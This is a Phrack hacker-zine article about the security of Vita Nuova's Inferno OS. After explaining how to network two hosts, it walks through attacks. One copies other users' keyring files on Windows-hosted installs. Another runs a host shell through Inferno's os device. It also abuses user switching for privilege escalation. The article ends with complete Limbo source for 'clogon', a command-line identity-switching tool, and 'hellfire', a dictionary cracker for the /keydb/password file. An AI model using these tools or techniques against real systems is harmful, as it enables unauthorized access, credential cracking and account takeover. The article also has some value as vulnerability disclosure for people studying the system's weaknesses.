Title : The Security of Vita Vuova's Inferno OS
Author : dalai
==Phrack Inc.==
Volume 0x0b, Issue 0x3a, Phile #0x0c of 0x0e
|=------------------=[ The Security of Inferno OS ]=---------------------=|
|=-----------------------------------------------------------------------=|
|=--------------------=[ dalai <dalai@swbt.net> ]=-----------------------=|
This paper goes over the security semantics of Vita Nuova's Inferno OS,
and some means by which they may be circumvented. Inferno is a small,
embedded OS intended to run on devices which may take advantage of its
distributed aspects. The example Bell Labs likes to use is the T.V.
set-top box. Anything which relies on remote data to run is an Inferno
candidate. Other potential uses include networked PDA's, and local
broadband access hubs (ie for cablemodem, or ION).
This paper is about security and is not an introduction to Inferno. The
Inferno Documents and man pages have been made available for public
consumption and are located at Vita Nuova's website,
http://www.vitanuova.com. Also, notice the change with my email address.
Insomnia.org get's DoS'd so they shut out their users. Go figure.
Lucent has mentioned their intent to utilize Inferno in some of it's up
and coming products. Firewalls and routers are already being built with
Inferno, and potential future use includes telecom equipment, and
dedicated(cheap) Internet terminals. Some outside companies are also taking
interest in Inferno, but noone can predict how much it will be used in the
future, or how successful it will be.
There are many reasons why you'd enjoy playing with Inferno. If it gains
the market saturation that Vita Nuova hopes for, you will have a vast
network of devices to play with. The industry hopes to 'e-nable'(tm) nearly
everything that runs off of power. Vehicles, large household appliances,
probably even toasters will shortly require some kind of embedded OS to
drive their superfluous hardware. Inferno is one of the answers, and
probably the most robust.
90% of anything mentioning Inferno and security in the same context talks
about the encryption and authentication of network messages. This is all
fine and dandy, but there's much more to be considered, especially in an
internetworked OS. And Inferno is about networking. There is little point
in a stand alone host.
And thus networking Inferno is fundamental. Here's a little info to get
your hosts up and talking, preferably to another Inferno-based machine.
The services to be run by Inferno upon execution of the server binary,
'lib/srv', are contained in /services/server/config. By default the file
contains these services:
styx 6666/tcp # Main file service
mpeg 6667/tcp # Mpeg stream
rstyx 6668/tcp # Remote invocation
infdb 6669/tcp # Database connection
infweb 6670/tcp # inferno web server
infsigner 6671/tcp # inferno signing services
infcsigner 6672/tcp # inferno signing services
inflogin 6673/tcp # inferno login service
virgil 2202/udp virgild # inferno info
The file /services/cs/services functions as the Unix /etc/services, and
can be used to reference the above service names with port numbers.
'netstat' does for Inferno something similar to what it does for Unix. If
run under a Unix, copy the contents of /services/cs/services to your
/etc/services file.
In order for Inferno to successfully talk to other hosts you must start
the connection server, 'lib/cs'. This daemon translates network names(in
the form of protocol!host!port) into a namespace network presence. You can
specify the services 'lib/srv' is to run by editing the file
/services/server/config.
You can get two hosts up and talking with these steps, assuming that the
hosting OS' are connected and can communicate. Hostname translation, IP
interface selection, and etc. is decided upon by the hosting OS.
1. DNS: 'echo ip.of.dns.server > /services/dns/db', rebuild
/services/dns/db. There's an example already in there.
2. CS: edit /services/cs/db, then 'lib/cs'
3. SRV: edit /services/server/config, then 'lib/srv' (Run on server)
4. LOGINS: Run 'changelogin <user>' on the server, this must be done for
each user who will be logging in.
5. KEYS: Run 'getauthinfo default' on the hosts to create the initial
certificates. Do this for both the server and the client. Do
'getauthinfo <server>' on the client. Note that this is for the
default certificate. To get one for use with a particular ip, do
'getauthinfo tcp!hostname'.
6. DONE: You may then use the Inferno network services, for instance you
may mount a remote computer under your namespace:
'mount tcp!host /n/remote'
to verify:
'lc /n/remote/'
or:
'netstat'
And it's that easy folks. You may want your 'lib/cs', 'lib/srv', and
mount commands to be done automatically at boot. The 'mount' is just an
example, there's an infinite number of things you can do with your two
hosts. You may even opt to mobilize your lego's[1]. Read the man pages.
*****
Because of the design of Inferno, and the way it is meant to be applied,
security can be easily circumvented, yielding unauthorized access on remote
machines, and access to files on the current machine that you shouldn't be
able to touch.
I should say something about hosted Inferno before I forget. Because it
will rely on the hosting OS' IP mechanism's, the sockets created by Inferno
will behave under pressure as one created by the host. While a tcp
connect() scan will dirty up the Inferno console with messages, if the host
OS is Win32 and someone's invoked 'nmap -sF' against it then Inferno's
services will be invisible along with Windows'. Likewise, all normal system
logging still applies to the ports Inferno is using. Understand?
The OS uses a virtual machine model to run its executables, which are
typically coded in the Inferno specific language Limbo. The virtual machine
Dis is secured by the virtue of type checking. Perms under inferno are like
those in Unix. 'ls -l' will show you what I mean. Unlike Unix, namespace
resources created by a private application are not by default made
available to anyone else except the children of that process. Thus we see
that The Labs have put some effort into securing Inferno.
Cryptography is integrated into the OS. Messages exchanged between two
Inferno hosts can be encrypted, or authenticated and plaintext. It's built-
in cryptographic algorithms are, according to the manual:
- SHA/MD5 hash
- Elgamal public key for signature systems
- RC4
- DES
- Diffie-Hellman for key exchange
Authentication relies on the public-key aspects of the above. Isn't that
super? He who believes cryptography is the end-all of security measures is
sad indeed. Call me lame or whatever, I'm just not interested in crypto.
Here I will share with you my techniques for upping your enjoyment of
Inferno. Check it out, no smoke or mirrors. No strings. If you have console
access you have the Inferno, so all of my stuff may be done via remote
login, you can do the Windows thing both locally and remotely in the case
of 95/98. Test boxes follow the suggested installation perm's.
1) Windows
If the Inferno is hosted on Windows 95/98, it won't even try to protect
key files. Even if it did, we could just grab what we wanted from Windows,
with the default path to the Inferno namespace being C:\USERS\INFERNO.
Observe.
stacey; cat /dev/user
inferno
stacey; mount tcp!jessica /n/remote
stacey; cd /n/remote/usr/dalai/keyring
stacey; lc
default
stacey; cp default /usr/inferno
stacey;
And then we can login as dalai from a third party box, or log into the
Window's machine's server. Not as big a deal as it seems, considering how
Inferno is supposed to be run. We can also use this to get the password
file, /keydb/password.
2) clogon
Attached is my command line port of the GUI login utility provided by
Inferno in the distribution. I call it clogon. Now you can't say I've never
done anything for you. This does basically the same thing as wm/logon, but
is done from the text mode console. Inferno will allow you to switch your
user name once per session.
stacey; cat /dev/user
inferno
stacey; ./clogon -u dalai
stacey; cat /dev/user
dalai
stacey;
3) hellfire
Hellfire is my Inferno password cracker. The password file is located
under /keydb/password, and contains the list of users which will be logging
in remotely to the machine. The Hellfire source can be found below, or at
the Trauma Inc. page.
jessica; hellfire -d dict -u luser
hellfire, by dalai(dalai@swbt.net)
A Traumatized Production.
Cracking...
Password is "victim"
Have a nice day.
jessica;
You don't need that password for the local machine, however you may use
it in conjunction with luser's keys to gain his access to a remote machine.
And it will work the same way with more mundane distributed services. The
day the utility companies rely on Inferno is the day I hook my computer up
to the washer and dryer.
******
Inferno may run stand alone, or hosted on another OS(Plan9, Win32,
several Unix's). When hosted, there are quite often opportunities not only
to hack Inferno from the host, but also the host from Inferno.
By default the Inferno emulator(emu) is started with no login prompt.
This is fine for me, because I use my host OS's login to get into Inferno.
You can have Inferno run a specified program via the emu command line, and
thus enable selective login.
For starters, we can execute a command on the host OS as follows:
stacey; bind -a '#C' /
stacey; os '/bin/sh -i'
devcmd: /bin/sh -i pid 12600
sh: no job control in this shell
sh-2.03$
You have the perm's given to the user and group that Inferno was
installed under, the suggested is user 'Inferno' and group 'inf'. The
manual says that if some careless person started Inferno as root, 'os' will
run as the caller's Inferno username. If that username does not exist on
the hosting system, then 'cmd' will run as user/nobody.
Yes, I'm thinking what you're thinking. According to the manual, IF
Inferno is installed under root, AND you change your Inferno user name to
that of another user on the host OS, THEN you will become that user on the
host. But what if that user doesn't have an account on the Inferno? With a
minor modification clogon will allow you to be whatever user you choose,
you may use any name at all.
Note that on Window's systems the 'os' argument must be a binary
executable in the current path. Things built into the regular Windows
interpreter(command) won't work. Like Unix, the command is run under the
same user id that started emu. Also, you can make a dos/windows/iso9660 fs
visible under Inferno.
******
After becoming curious with Inferno, I downloaded and played with it for
awhile. I became interested enough to write this paper, and i'm overall
satisfied with the system. Who knows, I may even use it in some upcoming
projects. If you like the syntax and feel of Inferno but want a more
production-type OS, see Plan9.
Notes:
[1] - Styx on a Brick: http://www.vitanuova.com/inferno/lego1.html
------------------------------ clogon.b ------------------------------------
# clogon
# port of wm/logon to the command line
#
# dalai(dalai@swbt.net)
# http://www.swbt.net/~dalai
implement clogon;
include "sys.m";
sys: Sys;
include "draw.m";
include "sh.m";
include "newns.m";
clogon: module
{
init: fn(nil: ref Draw->Context, argv: list of string);
};
init(nil: ref Draw->Context, argv: list of string)
{
sys = load Sys Sys->PATH;
sys->print("clogon, by dalai(dalai@swbt.net)\n");
sys->pctl(sys->FORKNS|sys->FORKFD, nil);
progdir := "#p/" + string sys->pctl(0, nil);
kfd := sys->open(progdir+"/ctl", sys->OWRITE);
if(kfd == nil) {
sys->sprint("cannot open %s: %r", progdir+"/ctl");
sys->raise("fail:bad prog dir");
}
usr := "";
if(argv != nil) {
argv = tl argv;
if(argv != nil && hd argv == "-u") {
argv = tl argv;
if(argv != nil) {
usr = hd argv;
argv = tl argv;
}
}
}
if (usr == nil || !logon(usr)) {
sys->print("usage: clogon -u user\n");
}
(ok, nil) := sys->stat("namespace");
if(ok >= 0) {
ns := load Newns Newns->PATH;
if(ns == nil)
sys->print("failed to load namespace builder\n");
else if ((nserr := ns->newns(nil, nil)) != nil){
sys->print("error in user namespace file: %s", nserr);
sys->print("\n");
}
}
sys->fprint(kfd, "killgrp");
errch := chan of string;
spawn exec(argv, errch);
err := <-errch;
if (err != nil) {
sys->fprint(stderr(), "logon: %s\n", err);
sys->raise("fail:exec failed");
}
}
exec(argv: list of string, errch: chan of string)
{
sys->pctl(sys->NEWFD, 0 :: 1 :: 2 :: nil);
e := ref Sys->Exception;
if (sys->rescue("fail:*", e) == Sys->EXCEPTION) {
sys->rescued(Sys->ONCE, nil);
exit;
}
argv = "/dis/sh/sh.dis" :: "-i" :: "-n" :: nil;
cmd := load Command hd argv;
if (cmd == nil) {
errch <-= sys->sprint("cannot load %s: %r", hd argv);
} else {
errch <-= nil;
cmd->init(nil, argv);
}
}
logon(user: string): int
{
userdir := "/usr/"+user;
if(sys->chdir(userdir) < 0) {
sys->print("There is no home directory for that user mounted on this machine\n");
return 0;
}
#
# Set the user id
#
fd := sys->open("/dev/user", sys->OWRITE);
if(fd == nil) {
sys->print("failed to open /dev/user: %r\n");
return 0;
}
b := array of byte user;
if(sys->write(fd, b, len b) < 0) {
sys->print("failed to write /dev/user with error: %r\n");
return 0;
}
return 1;
}
stderr(): ref Sys->FD
{
return sys->fildes(2);
}
------------------------------ clogon.b ------------------------------------
------------------------------ hellfire.b ----------------------------------
# hellfire.b : /keydb/password decoder
#
# by: dalai(dalai@swbt.net)
# http://www.swbt.net/~dalai
implement hellfire;
include "sys.m";
sys: Sys;
include "draw.m";
draw: Draw;
include "bufio.m";
bufio: Bufio;
Iobuf: import bufio;
include "string.m";
str: String;
include "arg.m";
arg: Arg;
include "keyring.m";
keyring: Keyring;
include "security.m";
pass: Password;
hellfire: module
{
init: fn(ctxt: ref Draw->Context, argv: list of string);
usage: fn();
finish: fn(temp: array of byte);
};
init(nil: ref Draw->Context, argv: list of string)
{
sys = load Sys Sys->PATH;
draw = load Draw Draw->PATH;
bufio = load Bufio Bufio->PATH;
str = load String String->PATH;
arg = load Arg Arg->PATH;
pass = load Password Password->PATH;
keyring = load Keyring Keyring->PATH;
sys->print("\nhellfire, by dalai(dalai@swbt.net)\n");
sys->print("A Traumatized Production.\n");
if(argv == nil)
usage();
dfile := pfile := uid := "";
arg->init(argv);
while((tmp := arg->opt()) != 0)
case tmp{
'd' => dfile = arg->arg();
'u' => uid = arg->arg();
* => usage();
}
if(dfile == nil || uid == nil)
usage();
dfd := bufio->open(dfile, bufio->OREAD);
if(dfd == nil){
sys->print("Could not open %s.\n", dfile);
exit;
}
pw := pass->get(uid);
if(pw == nil){
sys->print("Could not get entry for %s.\n", uid);
exit;
}
sys->print("Cracking...\n\n");
pwbuff2 := array[keyring->SHAdlen] of byte;
pwbuff := array[keyring->SHAdlen] of byte;
# try some common passwords
for(n := 1; n < 4; n++){
if(n == 1)
pwbuff = array of byte "password";
if(n == 2)
pwbuff = array of byte uid;
if(n == 3)
pwbuff = array of byte "";
keyring->sha(pwbuff, keyring->SHAdlen, pwbuff2, nil);
temp1 := string pwbuff2;
temp2 := string pw.pw;
if(temp2 == temp1){
finish(pwbuff);
}
}
# if not, try the dictionary
for(dentry := "" ; ;){
dentry = dfd.gets('\n');
if(dentry == nil)
break;
if(dentry[len dentry-1] == '\n'){
heh := "";
(heh, nil) = str->splitl(dentry, "\n");
dentry = heh;
}
pwbuff = array of byte dentry;
keyring->sha(pwbuff, keyring->SHAdlen, pwbuff2, nil);
temp1 := string pwbuff2;
temp2 := string pw.pw;
if(temp2 == temp1){
finish(pwbuff);
}
}
sys->print("done.\n");
sys->print("Have a nice day.\n");
exit;
}
finish(pwbuff: array of byte)
{
sys->print("Password is \"%s\"\n", string pwbuff);
sys->print("Have a nice day.\n");
exit;
}
usage()
{
sys->print("usage: hellfire -d dictionary -u user\n");
exit;
}
----------------------------- hellfire.b ----------------------------------
|=[ EOF ]=---------------------------------------------------------------=|